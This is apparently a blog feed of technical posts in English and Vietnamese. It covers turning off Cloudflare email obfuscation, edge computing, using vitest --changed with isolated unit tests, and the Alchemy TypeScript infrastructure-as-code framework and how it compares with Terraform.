Tương lai của hạ tầng công nghệ hiện đại không nằm hoàn toàn trên mây, mà trải dài từ Đám mây cho tới Biên của mạng lưới.

Tài liệu tham khảo

Edge Computing Architecture & Standards - ISO/IEC TR 23188:2020
Cloud-Edge Continuum in Modern Infrastructure Systems

Why and How to Turn Off Cloudflare Email Address Obfuscation

Thu, 30 Jul 2026 00:00:00 GMT

Cloudflare is a powerful ally for website performance and security, offering tools that protect your content, speed up delivery, and guard against malicious scrapers. One of its built-in features is Email Address Obfuscation, designed to hide plain-text email addresses on your web pages from automated spam bots.

While this sounds great in theory, it can sometimes cause unintended headaches.

Why Turn Off Email Obfuscation?

Although obfuscation protects emails from basic scrapers, it frequently creates technical hurdles:

Breaks JavaScript Applications: If you are running modern frontend frameworks (like React, Vue, or Next.js) or dynamic scripts that parse or manipulate DOM elements, Cloudflare's automatic injection of its own obfuscation script can break your code or throw unexpected console errors.
Interferes with Styling and Layout: The injected span tags and hidden text nodes can occasionally disrupt CSS selectors or layout alignment.
Redundant with Modern Defenses: If you already use alternative methods to display contact details (such as contact forms, modern CAPTCHAs, or deliberate public exposure for customer support), the obfuscation feature becomes unnecessary.

Note that Wrangler cannot manage this setting because it operates at the zone/security level rather than the Workers code level. Instead, you can quickly disable it using the Cloudflare Dashboard.

How to Turn Off Email Address Obfuscation via the Dashboard

Disabling the feature takes less than a minute. Follow these steps:

Log in to the Cloudflare Dashboard.
Select your target domain from the account overview.
Navigate to Security > Settings (on some dashboard layouts, this may be found under Scrape Shield).
Locate Email Address Obfuscation in the list of settings.
Toggle the switch to Off.

Changes generally take effect immediately across your site, freeing your HTML from automatic modifications and ensuring your frontend code runs smoothly.

References

Cloudflare Dashboard

Beyond the Cloud: Why Edge Computing Is the Next Big Shift

Thu, 30 Jul 2026 00:00:00 GMT

For the past decade, "the cloud" has been the undisputed buzzword of the tech world. Whenever a device generated data—whether a smart thermostat, a factory sensor, or a smartphone camera—that data was traditionally shipped off to a massive, centralized data center thousands of miles away for processing and storage.

But as our world becomes increasingly saturated with smart devices, autonomous systems, and real-time AI, sending every single byte of data to the cloud is no longer practical. Enter edge computing.

What is Edge Computing?

Instead of relying on a distant, centralized data center, edge computing processes data as close to its source as possible—at the "edge" of the network.

Think of it like a local convenience store versus a massive regional supermarket warehouse. If you just need a gallon of milk quickly, driving to the massive warehouse across the state is inefficient. Instead, you go to the corner store down the street. Edge computing places mini-servers, gateways, and processing power right next to the local data source (like IoT sensors or security cameras) to handle information instantly.

Why are We Moving to the Edge?

Several distinct forces are driving the rapid adoption of edge architecture:

Zero Tolerance for Latency: In applications like self-driving cars, industrial robotics, or high-frequency stock trading, waiting milliseconds for data to travel to the cloud and back can spell disaster. Edge computing enables split-second, real-time decision-making.
Bandwidth Conservation: Streaming petabytes of raw sensor data or continuous high-definition video feeds to the cloud chokes network bandwidth. Edge nodes filter and analyze data locally, sending only critical summaries upstream.
Resilience & Offline Functionality: If an internet connection drops, cloud-dependent systems fail. Edge devices can keep running and making autonomous decisions locally even when completely disconnected from the wider web.
Enhanced Security & Privacy: Keeping sensitive data local reduces the window of exposure during transit, helping organizations comply with strict regional data sovereignty and privacy regulations.

Real-World Applications

Edge computing isn't just a theoretical concept; it is actively powering industries all around us:

Autonomous Vehicles: Self-driving cars process millions of data points every second from cameras and radar. They cannot afford cloud lag; they need immediate, local compute power to brake or steer instantly.
Smart Manufacturing (IIoT): Factories use edge sensors to monitor machinery health in real-time. If a machine vibrates abnormally, an edge system can shut it down instantly to prevent catastrophic failure, rather than waiting for cloud approval.
Healthcare & Telemedicine: Remote patient monitoring systems and smart medical equipment process critical health metrics locally to alert medical staff instantly in an emergency.
Retail: Concepts like automated cashier-less stores rely heavily on edge cameras and local processing to track shopping carts and item selection seamlessly without network bottlenecks.

Edge Computing and Edge AI: The Ultimate Pairing

The rise of Edge AI—running lightweight machine learning models directly on edge hardware—is turbocharging this trend. Instead of just storing data locally, edge devices are now smart enough to interpret images, recognize speech, and predict maintenance issues independently.

Looking Ahead

The shift toward edge computing doesn’t mean the cloud is dead. Rather, cloud and edge work in tandem. The edge handles the immediate, high-speed, local workloads, while the centralized cloud handles heavy-duty long-term analytics, global model training, and deep data storage.

As 5G and 6G networks expand globally, edge infrastructure will only grow faster and more pervasive. The future of technology isn't just in the cloud—it's right at the edge.

References

Edge Computing Architecture & Standards - ISO/IEC TR 23188:2020
Cloud-Edge Continuum in Modern Infrastructure Systems

Vitest `--changed`: Smarter Test Selection for CI

Wed, 29 Jul 2026 03:56:04 GMT

In a project with hundreds or even thousands of unit tests, running the entire test suite every time you change a single line of code can become a significant cost.

One useful feature Vitest provides for this problem is --changed.

However, to really take advantage of --changed, we need to look at a deeper question:

How should unit tests be designed so that a small code change only affects a small and predictable set of tests?

The answer lies in an important principle:

A unit test should test an independent unit and control the dependencies outside that unit's scope.

1. What is `vitest --changed`?

Normally, when you run:

vitest

Vitest finds and runs the relevant tests in the project.

With:

vitest --changed

Vitest can run tests based on changed files.

When no value is provided, Vitest considers uncommitted changes, including both staged and unstaged changes.

For example:

src/
├── user/
│   ├── user.service.ts
│   └── user.service.test.ts
├── payment/
│   ├── payment.service.ts
│   └── payment.service.test.ts
└── order/
    ├── order.service.ts
    └── order.service.test.ts

If you only modify user.service.ts, then:

vitest --changed

can help focus testing on the parts related to that change instead of running the entire suite by default.

This becomes particularly useful as the test suite grows.

2. But `--changed` raises an important question

Why can we assume that changing user.service.ts does not require running every test?

Because we assume the units that depend on it have a relatively clear scope of impact.

This is closely related to the nature of unit testing.

A good unit test should not have too many real dependencies involved in the test.

Suppose we have this service:

class UserService {
  constructor(
    private readonly userRepository: UserRepository,
  ) {}

  async getUserName(id: string) {
    const user = await this.userRepository.findById(id)
    return user.name
  }
}

We want to test UserService.getUserName(). A poor approach uses a real database:

UserService → UserRepository → Database → Network

This means the test depends on the repository implementation, database, schema, data, network, and environment. Changes to any of these can break the test.

3. Unit Tests Should Control External Dependencies

Instead, mock the repository:

const userRepository = {
  findById: vi.fn(),
}

const userService = new UserService(userRepository)

userRepository.findById.mockResolvedValue({
  id: '1',
  name: 'Alice',
})

const result = await userService.getUserName('1')

expect(result).toBe('Alice')

UserService only cares about the contract userRepository.findById(id). It does not need to know whether the repository uses SQL, PostgreSQL, Redis, HTTP API, or ORM.

We control the dependency with mock data. As a result, the unit test becomes more deterministic.

4. Mock Data Is Not Just About Making Tests Easier

A common misconception is "Mocking is just a way to avoid using a database."

The more important benefit is mocking lets us control the scope of a test's dependencies.

                  Mock
                   ↓
UserService → UserRepository
                   ↓
             { name: "Alice" }

Input controlled. Dependency controlled. Output controlled. This makes unit tests reliable.

5. Unit Testing Does Not Mean "You Must Not Call Other Components"

In practice, a unit almost always has dependencies:

class OrderService {
  constructor(
    private readonly paymentService: PaymentService,
    private readonly orderRepository: OrderRepository,
  ) {}

  async createOrder(order: Order) {
    await this.paymentService.charge(order.total)
    return this.orderRepository.create(order)
  }
}

What we avoid is using real implementations in the unit test:

             Mock PaymentService
                    ↓
OrderService
                    ↑
             Mock OrderRepository

const paymentService = { charge: vi.fn() }
const orderRepository = { create: vi.fn() }

paymentService.charge.mockResolvedValue(undefined)
orderRepository.create.mockResolvedValue({ id: 'order-1' })

const service = new OrderService(paymentService, orderRepository)
await service.createOrder({ total: 100 })

expect(paymentService.charge).toHaveBeenCalledWith(100)
expect(orderRepository.create).toHaveBeenCalled()

No real payment gateway, database, or network needed. We know exactly which unit is being tested.

6. Why Does This Matter for `--changed`?

--changed becomes most useful when the test suite has clear dependencies and unit tests are well isolated.

With 500 test files, a developer changes src/user/UserService.ts. If dependencies are clear:

UserService → mock Repository → mock EmailService

We run vitest --changed and get quick feedback.

If tests rely on real implementations (database, Redis, external API), a small change can have unpredictable effects. The assumption "File A changed → run tests related to A" becomes unreliable.

7. `--changed` Does Not Mean Stop Running the Full Suite

--changed is for fast feedback during development, not a replacement for the full test suite.

Developer changes code → vitest --changed → Fast feedback → Commit → CI → Run full suite

Local:

vitest --changed

CI:

vitest run

--changed optimizes the developer feedback loop; it does not replace the full test suite.

8. Run Tests Based on a Commit

--changed is not limited to the current working tree:

vitest --changed HEAD~1
vitest --changed 09a9920
vitest --changed origin/develop

Useful for checking changes against a specific branch or commit.

9. Coverage Benefits Too

vitest --changed --coverage

Coverage report contains only files related to changes — faster, more focused feedback.

10. `--changed` Doesn't Mean Your Dependency Graph Is Perfect

--changed is not a promise that "only the changed file's tests need to run."

Vitest has forceRerunTriggers. Changes to Vitest config or package.json can trigger the full suite — this is sensible since the impact is hard to isolate.

11. Good Unit Tests Have Clear Boundaries

              OUTSIDE
                  │
        ┌─────────▼─────────┐
        │       UNIT        │
        │  Business Logic   │
        └─────────┬─────────┘
                  │
              OUTSIDE

Things outside the unit (database, HTTP API, filesystem, message queues, time, random, environment) should be controlled when appropriate:

vi.mock('./payment-service')
vi.useFakeTimers()

The goal is control dependencies outside the unit's responsibility, not mock everything.

12. Not Every Dependency Should Be Mocked

If we mock everything, tests become detached from real implementation.

The principle: isolate the unit being tested and control dependencies that could make the test non-deterministic or pull in too much external implementation.

13. Unit, Integration, and E2E Tests Have Different Roles

              E2E
             /   \
       Integration
          /       \
      Unit Tests

Unit: fast, deterministic, easy debug, fast feedback.
Integration: multiple components together (Service → Repository → Test Database).
E2E: user's perspective (Browser → API → Service → Database).

Not every test should be a unit test.

14. Control Impact, Don't Eliminate Dependencies

A unit test only needs to know which dependencies are within scope and which should be controlled:

┌─────────────────────────────┐
│         UserService         │
│         REAL CODE           │
└──────────────┬──────────────┘
               │
       controlled boundary
               │
       ┌───────┴───────┐
       │               │
     Mock            Mock
   Repository    EmailService

This is what keeps unit tests independent.

15. From Good Unit Tests to `--changed`

Independent unit tests
       ↓
Controlled dependencies
       ↓
Clear scope of impact
       ↓
Easier test partitioning
       ↓
More useful --changed
       ↓
Faster feedback
       ↓
Faster developer iteration

--changed encourages thinking about the dependency graph of the test suite — a codebase with good unit tests has clear boundaries between business logic and external dependencies.

Conclusion

vitest --changed is valuable for large test suites needing fast feedback. But its real power depends on how we design our unit tests.

A good unit test should:

focus on a specific unit and behavior;
control dependencies outside the unit's scope;
use mocks/stubs/test doubles when real dependencies introduce side effects or non-determinism;
avoid relying on real databases, networks, or environment data unless those are the test subject;
let integration tests and E2E tests handle component interactions.

The more independent your unit tests and the clearer your dependency boundaries, the more reliable selective test execution becomes — and the faster your feedback loop gets.

vitest --changed becomes genuinely valuable not because we want to test less, but because we want to test the right scope at the right time. For final confidence before merging or deploying, the full test suite remains the essential safety net.

References

`--changed` trong Vitest: Chạy Test Thông Minh Hơn

Wed, 29 Jul 2026 03:54:54 GMT

Trong một dự án có hàng trăm, thậm chí hàng nghìn unit test, việc mỗi lần sửa một dòng code lại chạy toàn bộ test suite có thể trở thành một khoản chi phí đáng kể.

Một trong những tính năng hữu ích của Vitest cho bài toán này là --changed.

Nhưng để thực sự tận dụng được --changed, chúng ta cần nhìn vấn đề sâu hơn: unit test nên được thiết kế như thế nào để một thay đổi nhỏ chỉ ảnh hưởng đến một phạm vi test nhỏ?

Câu trả lời nằm ở một nguyên tắc rất quan trọng:

Unit test nên kiểm thử một unit độc lập và kiểm soát những dependency nằm ngoài phạm vi của unit đó.

1. `vitest --changed` là gì?

Thông thường, khi chạy:

vitest

Vitest sẽ tìm và chạy các test phù hợp trong project.

Trong khi đó:

vitest --changed

cho phép Vitest chạy test dựa trên những file đã thay đổi.

Nếu không truyền giá trị:

vitest --changed

Vitest sẽ xét các thay đổi chưa commit, bao gồm cả staged và unstaged changes.

Ví dụ:

src/
├── user/
│   ├── user.service.ts
│   └── user.service.test.ts
├── payment/
│   ├── payment.service.ts
│   └── payment.service.test.ts
└── order/
    ├── order.service.ts
    └── order.service.test.ts

Ta chỉ sửa user.service.ts thì:

vitest --changed

có thể giúp tập trung việc chạy test vào phần liên quan đến thay đổi thay vì mặc định chạy toàn bộ suite.

Điều này đặc biệt hữu ích trong quá trình development khi test suite đã lớn.

2. Nhưng `--changed` đặt ra một câu hỏi quan trọng

Có một vấn đề thú vị:

Tại sao chúng ta có thể tin rằng thay đổi ở user.service.ts không cần chạy lại tất cả test?

Bởi vì ta đang giả định rằng phạm vi ảnh hưởng tương đối rõ ràng.

Điều này rất gần với bản chất của unit test.

Một unit test tốt không nên có quá nhiều dependency thực tế chen vào quá trình kiểm thử.

Ví dụ, giả sử có service:

class UserService {
  constructor(
    private readonly userRepository: UserRepository,
  ) {}

  async getUserName(id: string) {
    const user = await this.userRepository.findById(id)

    return user.name
  }
}

Ta muốn test UserService.getUserName().

Một cách không tốt là để test trực tiếp database thật:

UserService
    ↓
UserRepository
    ↓
Database
    ↓
Network

Lúc này test của UserService phụ thuộc vào implementation của repository, database, schema, dữ liệu, network, môi trường chạy test. Khi một trong những thứ này thay đổi, test có thể bị ảnh hưởng.

3. Unit test nên kiểm soát dependency bên ngoài

Thay vì vậy, chúng ta có thể mock repository:

const userRepository = {
  findById: vi.fn(),
}

const userService = new UserService(userRepository)

userRepository.findById.mockResolvedValue({
  id: '1',
  name: 'Alice',
})

const result = await userService.getUserName('1')

expect(result).toBe('Alice')

Ở đây, UserService chỉ quan tâm đến contract userRepository.findById(id). Nó không cần biết bên dưới repository thực hiện SQL, PostgreSQL, Redis, HTTP API hay ORM.

Ta đã kiểm soát dependency bằng mock data. Do đó, unit test trở nên deterministic hơn.

4. Mock data không chỉ giúp test dễ viết

Một hiểu lầm phổ biến là "Mock chỉ để test không cần database."

Thực ra lợi ích quan trọng hơn là Mock giúp ta kiểm soát phạm vi ảnh hưởng của test.

Ta không muốn kết quả test phụ thuộc vào database đang có dữ liệu gì, database có đang chạy không, network có ổn định không, repository implementation có thay đổi không.

Thay vào đó, ta muốn test có một thế giới rất nhỏ:

                  Mock
                   ↓
UserService → UserRepository
                   ↓
             { name: "Alice" }

Input được kiểm soát. Dependency được kiểm soát. Output được kiểm soát. Đó chính là một trong những đặc điểm làm cho unit test trở nên đáng tin cậy.

5. Unit test không có nghĩa là "không được gọi dependency"

Nói "Unit test không được phụ thuộc vào thành phần code khác" không có nghĩa là unit test không được gọi dependency.

Trong thực tế, một unit gần như luôn có dependency:

class OrderService {
  constructor(
    private readonly paymentService: PaymentService,
    private readonly orderRepository: OrderRepository,
  ) {}

  async createOrder(order: Order) {
    await this.paymentService.charge(order.total)

    return this.orderRepository.create(order)
  }
}

OrderService phụ thuộc vào PaymentService và OrderRepository.

Điều ta cần tránh là để implementation thật của chúng tham gia vào unit test. Thay vào đó:

             Mock PaymentService
                    ↓
OrderService
                    ↑
             Mock OrderRepository

Test có thể tập trung vào câu hỏi: "Khi payment thành công, OrderService có tạo order hay không?"

const paymentService = { charge: vi.fn() }
const orderRepository = { create: vi.fn() }

paymentService.charge.mockResolvedValue(undefined)
orderRepository.create.mockResolvedValue({ id: 'order-1' })

const service = new OrderService(paymentService, orderRepository)
await service.createOrder({ total: 100 })

expect(paymentService.charge).toHaveBeenCalledWith(100)
expect(orderRepository.create).toHaveBeenCalled()

Test này không cần payment gateway thật, database thật, network — và quan trọng hơn, ta biết chính xác unit nào đang được kiểm thử.

6. Tại sao điều này liên quan đến `--changed`?

--changed có ý nghĩa nhất khi test suite có dependency rõ ràng và unit test có tính cô lập tốt.

Hãy tưởng tượng một project có 500 test files. Developer sửa src/user/UserService.ts.

Nếu test suite được thiết kế tốt — phạm vi ảnh hưởng của thay đổi rõ ràng — ta chạy:

vitest --changed

và nhanh chóng nhận feedback.

Ngược lại, nếu unit test làm mọi thứ thông qua implementation thật (database, Redis, external API), một thay đổi nhỏ có thể tạo ảnh hưởng khó đoán. Tư duy "File A thay đổi → chạy test liên quan đến A" trở nên kém hiệu quả.

7. `--changed` không phải lý do để bỏ chạy toàn bộ test

--changed phù hợp để feedback nhanh trong quá trình development, không thay thế full test suite.

Một workflow hợp lý:

Developer sửa code
       ↓
vitest --changed
       ↓
Feedback nhanh
       ↓
Commit
       ↓
CI
       ↓
Chạy full test suite

Local:

vitest --changed

CI:

vitest run

--changed tối ưu developer feedback loop, không thay thế full test suite.

8. Chạy test dựa trên commit

--changed không chỉ dành cho working tree hiện tại.

vitest --changed HEAD~1
vitest --changed 09a9920
vitest --changed origin/develop

Hữu ích khi muốn kiểm tra thay đổi so với một branch hay commit cụ thể:

origin/develop
      │
      │ diff
      ↓
current branch
      │
      ↓
related tests

9. Coverage cũng có thể hưởng lợi

Kết hợp với coverage:

vitest --changed --coverage

Coverage report chỉ chứa những file liên quan đến các thay đổi — feedback nhanh hơn, report tập trung hơn.

10. `--changed` không có nghĩa là dependency graph hoàn hảo

--changed không phải lời hứa "Chỉ cần test file vừa thay đổi là đủ."

Vitest có forceRerunTriggers. Nếu file trong danh sách đó thay đổi, toàn bộ test suite được chạy.

Thay đổi ở Vitest config và package.json mặc định cũng khiến toàn bộ suite chạy lại — điều này hợp lý vì rất khó đảm bảo chỉ một nhóm test bị ảnh hưởng.

11. Unit test tốt thường có "biên giới" rõ ràng

              OUTSIDE
                  │
        ┌─────────▼─────────┐
        │       UNIT        │
        │  Business Logic   │
        └─────────┬─────────┘
                  │
              OUTSIDE

Những thứ bên ngoài unit (database, HTTP API, filesystem, message queue, external service, thời gian, random, environment) nên được kiểm soát khi cần thiết:

vi.mock('./payment-service')
vi.useFakeTimers()

Mục đích không phải "mock tất cả" mà là kiểm soát những dependency không thuộc trách nhiệm của unit đang được test.

12. Không phải dependency nào cũng nên mock

Nếu mock mọi thứ (A → mock B → mock C → mock D), test có thể quá xa implementation thực tế.

Nguyên tắc không nên là "Unit test = mock tất cả." Mà là cô lập unit đang kiểm thử và kiểm soát các dependency có thể làm test không deterministic hoặc kéo theo quá nhiều implementation bên ngoài.

13. Unit test, integration test và E2E có vai trò khác nhau

              E2E
             /   \
       Integration
          /       \
      Unit Tests

Unit test: Kiểm tra business logic trong phạm vi nhỏ, nhanh, deterministic, feedback nhanh.
Integration test: Kiểm tra nhiều thành phần kết hợp (Service → Repository → Test Database).
E2E: Kiểm tra behavior từ góc nhìn người dùng (Browser → API → Service → Database).

Không nên cố biến tất cả thành unit test.

14. Tư duy quan trọng: kiểm soát ảnh hưởng, không loại bỏ dependency

Một unit test không cần sống trong thế giới không có dependency. Nó chỉ cần biết dependency nào thuộc phạm vi kiểm thử và dependency nào cần được kiểm soát.

┌─────────────────────────────┐
│         UserService         │
│         REAL CODE           │
└──────────────┬──────────────┘
               │
       controlled boundary
               │
       ┌───────┴───────┐
       │               │
     Mock            Mock
   Repository    EmailService

Đây chính là điều giúp unit test giữ được tính độc lập.

15. Từ unit test tốt đến `--changed`

Unit test độc lập
       ↓
Dependency được kiểm soát
       ↓
Phạm vi ảnh hưởng rõ ràng
       ↓
Test suite dễ phân vùng
       ↓
--changed hữu ích hơn
       ↓
Feedback nhanh hơn
       ↓
Developer iteration nhanh hơn

--changed khuyến khích chúng ta suy nghĩ về dependency graph của test suite — một codebase có unit test tốt thường có boundary rõ ràng giữa business logic và các dependency bên ngoài.

Kết luận

vitest --changed là công cụ đáng dùng khi project có test suite lớn. Nhưng để nó thực sự phát huy tác dụng, điều quan trọng nằm ở cách chúng ta viết unit test.

Một unit test tốt nên:

tập trung vào một unit và behavior cụ thể;
kiểm soát dependency nằm ngoài phạm vi của unit;
dùng mock/stub/test double khi dependency thật tạo ra side effect hoặc làm test không deterministic;
không phụ thuộc vào database, network hay dữ liệu môi trường thật;
để integration test và E2E đảm nhiệm kiểm tra sự kết hợp giữa các thành phần.

Unit test càng độc lập, dependency boundary càng rõ, thì việc chạy test có chọn lọc càng đáng tin cậy và feedback càng nhanh.

Và đây chính là lúc vitest --changed trở nên thực sự hữu ích — không phải vì chúng ta muốn test ít hơn, mà vì chúng ta muốn test đúng phạm vi ở đúng thời điểm.

Tài liệu tham khảo

Alchemy - IaC thế hệ mới với TypeScript thuần và Effect

Wed, 29 Jul 2026 00:00:00 GMT

Alchemy (alchemy.run) là một framework Infrastructure-as-Code (IaC) thế hệ mới, cho phép bạn định nghĩa và quản lý cloud resources bằng TypeScript thuần — không HCL, không YAML, không runtime Go hay Rust như Terraform hay Pulumi. Điểm đặc biệt: Alchemy được xây dựng trên nền tảng Effect, thư viện TypeScript mạnh mẽ cho composable, typed effects.

Vấn đề với IaC truyền thống

Các công cụ IaC hiện tại đều có những hạn chế nhất định:

| Công cụ | Ngôn ngữ | Runtime | Vấn đề | |---|---|---|---| | Terraform | HCL | Go | DSL riêng, khó mở rộng | | Pulumi | TypeScript/Go/Python | Go | Chain abstraction nặng | | AWS CDK | TypeScript | CloudFormation | Sinh JSON trung gian, chậm | | SST | TypeScript | Wrapper quanh Pulumi | Thêm layer, phức tạp |

Tất cả đều có chung một vấn đề: bloated abstraction chain. Code của bạn bị dịch qua nhiều tầng trung gian trước khi đến tay cloud provider.

Alchemy khác biệt thế nào?

Alchemy cắt bỏ hoàn toàn các tầng trung gian. Nó giao tiếp trực tiếp với cloud API qua HTTPS, không qua CloudFormation hay Terraform provider nào cả.

1. Infrastructure là TypeScript thuần

Bạn viết infrastructure bằng TypeScript, không DSL:

import { cloudflare, define } from 'alchemy'

const bucket = cloudflare.r2.Bucket('my-bucket', {
  location: 'WEUR'
})

const worker = cloudflare.Worker('my-worker', {
  script: './src/index.ts',
  bindings: { bucket }
})

export default define({
  resources: [bucket, worker]
})

2. Type-safe IAM Policies

IAM policies được kiểm tra ngay tại compile time. Không thể deploy với permission thiếu:

const queue = cloudflare.Queue('my-queue')

// TypeScript sẽ báo lỗi nếu thiếu binding
const worker = cloudflare.Worker('my-worker', {
  script: './src/index.ts',
  bindings: { queue } // → tự động cấp consumer permission
})

3. Hot-reload (~100ms)

Alchemy hỗ trợ hot-reload infrastructure cực nhanh. Thay đổi resource, nhấn save — trong ~100ms, resource đã được cập nhật. Không cần chờ terraform plan hàng phút.

4. Ephemeral Stacks

Mỗi Pull Request có thể tự động tạo một stack riêng biệt, deploy → test → destroy. Lý tưởng cho preview environments:

// Vitest + Alchemy
import { test, expect } from 'vitest'
import { createStack } from 'alchemy/test'

test('API trả về 200', async () => {
  const stack = await createStack('./alchemy.run.ts')
  const response = await fetch(stack.worker.url)
  expect(response.status).toBe(200)
  await stack.destroy()
})

5. Observability tích hợp

OpenTelemetry metrics, logs, và alarms được khai báo trực tiếp cùng resources:

const worker = cloudflare.Worker('my-worker', {
  script: './src/index.ts',
  observability: {
    metrics: ['request_count', 'error_rate'],
    alarms: [
      { metric: 'error_rate', threshold: 0.05, action: 'slack' }
    ]
  }
})

Providers được hỗ trợ

Alchemy hỗ trợ nhiều cloud providers và dịch vụ:

| Provider | Resources | |---|---| | Cloudflare | Workers, R2, D1, KV, Durable Objects, Queues, Hyperdrive | | AWS | Lambda, ECS, DynamoDB, S3, SQS, CloudWatch | | Neon | Serverless Postgres | | PlanetScale | Serverless MySQL | | Upstash | Redis, Kafka | | Stripe | Payment infrastructure |

Và tích hợp sẵn với các frontend framework: Astro, Next.js, Nuxt, SolidStart, TanStack Start.

Tại sao Alchemy đáng chú ý?

Infrastructure là code theo nghĩa đen — không qua trung gian, không compile, không DSL.

Không runtime riêng — chạy trên Bun, Node, Deno, Cloudflare Workers.
Không DSL — TypeScript thuần là tất cả những gì bạn cần.
Type-safe toàn diện — từ resource definition đến IAM policy.
Ecosystem Effect — tận dụng typed effects, error handling, và composability.
AI Agent-friendly — cấu trúc đơn giản, dễ đọc, dễ cho AI coding agents thao tác.

Kết luận

Alchemy đại diện cho một hướng đi mới của IaC: đơn giản hóa đến tận cùng. Thay vì chồng chất abstraction layers, nó dựa vào sức mạnh của TypeScript và Effect để tạo ra trải nghiệm developer liền mạch.

Nếu bạn là TypeScript developer và muốn quản lý cloud infrastructure mà không cần học thêm công cụ mới, Alchemy là một lựa chọn đáng để thử.

Link: alchemy.run
GitHub: github.com/alchemy-run/alchemy
License: Apache-2.0

Alchemy vs Terraform - Quản lý Cloudflare infrastructure

Wed, 29 Jul 2026 00:00:00 GMT

Alchemy (alchemy.run) và Terraform Cloudflare Provider (registry.terraform.io) là hai cách tiếp cận hoàn toàn khác nhau để quản lý Cloudflare infrastructure. Bài này so sánh chúng trên nhiều khía cạnh để giúp bạn chọn công cụ phù hợp.

Tổng quan

| Tiêu chí | Alchemy | Terraform Cloudflare Provider | |---|---|---| | Ngôn ngữ | TypeScript thuần (Effect) | HCL (hoặc CDKTF với TypeScript) | | Runtime | Chạy trên Bun/Node/Deno | Go runtime riêng | | Loại | Framework IaC native | Provider cho Terraform | | License | Apache-2.0 | MPL-2.0 | | Cloud providers | Cloudflare, AWS, Neon, Upstash | 3000+ providers |

Code so sánh

1. Tạo R2 Bucket + Worker với binding

Alchemy:

import { cloudflare, define } from 'alchemy'

const bucket = cloudflare.r2.Bucket('assets', {
  location: 'WEUR'
})

const worker = cloudflare.Worker('api-worker', {
  script: './src/index.ts',
  bindings: { bucket } // Tự động infer type cho WorkerEnv
})

export default define({
  resources: [bucket, worker]
})

Terraform HCL:

terraform {
  required_providers {
    cloudflare = {
      source = "cloudflare/cloudflare"
      version = "~> 4.0"
    }
  }
}

resource "cloudflare_r2_bucket" "assets" {
  account_id = var.cloudflare_account_id
  name       = "my-assets"
  location   = "WEUR"
}

resource "cloudflare_worker_script" "api" {
  account_id = var.cloudflare_account_id
  name       = "api-worker"
  content    = file("./dist/worker.js")
}

# Phải tự quản lý binding riêng
resource "cloudflare_worker_binding" "bucket_binding" {
  script_name = cloudflare_worker_script.api.name
  bucket = {
    name = "bucket"
    bucket_id = cloudflare_r2_bucket.assets.id
  }
}

2. D1 Database + Worker

Alchemy:

db cloudflare.d1.Database('my-db', {
  name: 'production-db'
})

const worker = cloudflare.Worker('api', {
  script: './src/index.ts',
  bindings: { db } // TypeScript biết db là D1Database binding
})

Terraform:

resource "cloudflare_d1_database" "my_db" {
  account_id = var.cloudflare_account_id
  name       = "production-db"
}

# Worker + D1 binding cần config riêng
resource "cloudflare_worker_script" "api" {
  name    = "api"
  content = file("./worker.js")
  
  d1_database_bindings {
    name    = "db"
    id      = cloudflare_d1_database.my_db.id
  }
}

So sánh chi tiết

1. Type Safety

Alchemy — Type-safe toàn diện. Khi bạn bind một R2 bucket vào Worker, TypeScript tự động infer kiểu WorkerEnv:

// Alchemy tự sinh type:
// interface WorkerEnv { bucket: R2Bucket }

export default {
  async fetch(req: Request, env: WorkerEnv) {
    await env.bucket.get('key') // ✅ Type-safe
  }
}

Terraform — HCL không có type safety. Mọi lỗi chỉ phát hiện ở runtime (terraform plan). CDKTF (đã deprecated) có type safety qua generated classes, nhưng thường lag so với upstream API.

2. Developer Experience

| Khía cạnh | Alchemy | Terraform | |---|---|---| | Ngôn ngữ | TypeScript — học 0 phút | HCL — phải học DSL mới | | IDE support | Full autocomplete, type checking | HCL LSP cơ bản | | Local dev | alchemy dev — hot-reload ~100ms | Không có — phải dùng wrangler dev riêng | | Test | Vitest + isolated stacks | Không có built-in | | State management | Built-in (Cloudflare state Worker) | Terraform Cloud/S3/remote state |

3. Development Workflow

Alchemy workflow:

code ←→ alchemy dev ←→ Cloudflare API (live)

Hot-reload 100ms
Code + Infrastructure cùng file TypeScript
Test với isolated stack (deploy → assert → destroy)

Terraform workflow:

code → wrangler dev (local) 
     → terraform plan → terraform apply → Cloudflare API

Local development và infrastructure deployment tách rời
Cần 2 toolchain riêng (wrangler + terraform)
Không có hot-reload cho infrastructure

4. State Management

Terraform có state management mạnh mẽ nhất:

Remote state với locking
Drift detection
Granular access control
Workspace isolation
Audit trail

Alchemy state management đơn giản hơn:

State lưu trong Cloudflare (Durable Object)
Phù hợp cho serverless workloads
Thiếu các tính năng enterprise như locking, audit

5. Multi-Provider Support

Terraform — 3000+ providers. Một config file quản lý được AWS + Cloudflare + Datadog + GitHub cùng lúc.

Alchemy — Hỗ trợ Cloudflare, AWS, Neon, Upstash. Ít hơn nhưng tích hợp sâu.

6. AI Agent Friendliness

Alchemy: Được thiết kế cho AI coding agents:

TypeScript thuần — LLM hiểu dễ dàng
Toàn bộ stack trong 1-2 files
Cung cấp llms.txt guide
Structure đơn giản, ít boilerplate

Terraform: HCL cũng được LLM hiểu tốt (nhờ lượng lớn training data), nhưng:

Version mismatches thường gây lỗi
Worker code (TypeScript) và HCL config tách rời
AI agent khó suy luận end-to-end

Khi nào dùng công cụ nào?

Chọn Alchemy nếu

✅ Bạn là TypeScript developer, không muốn học HCL ✅ Bạn cần local development workflow nhanh (hot-reload infrastructure) ✅ Dự án của bạn chạy chủ yếu trên Cloudflare Workers/R2/D1/KV ✅ Bạn muốn type-safe từ infrastructure đến application code ✅ Bạn dùng AI coding agents để viết infrastructure

Chọn Terraform nếu

✅ Team của bạn đã có Terraform workflow ✅ Bạn quản lý multi-provider infrastructure (AWS + Cloudflare + ...) ✅ Bạn cần enterprise features: state locking, audit, compliance ✅ Bạn quản lý hàng trăm resources với dependency graph phức tạp ✅ Team của bạn có HCL expertise

So sánh với Wrangler

Một câu hỏi thường gặp: "Sao không dùng wrangler.toml?"

| Công cụ | Mục đích | Phạm vi | |---|---|---| | Wrangler | CLI cho Cloudflare Workers | Chỉ Workers & liên quan | | Terraform | IaC đa năng | Mọi cloud resource | | Alchemy | IaC TypeScript-native | Cloud + Application |

wrangler.toml chỉ quản lý được Workers. Cả Terraform và Alchemy đều quản lý được R2, D1, KV, Queues, DNS, Pages — nhưng với cách tiếp cận khác nhau.

Kết luận

Alchemy và Terraform đại diện cho hai triết lý khác nhau:

Terraform — IaC truyền thống: mạnh mẽ, ổn định, đa năng, nhưng learning curve cao và workflow rời rạc.
Alchemy — IaC hiện đại: TypeScript-native, type-safe, dev experience tuyệt vời, nhưng còn mới và ít provider.

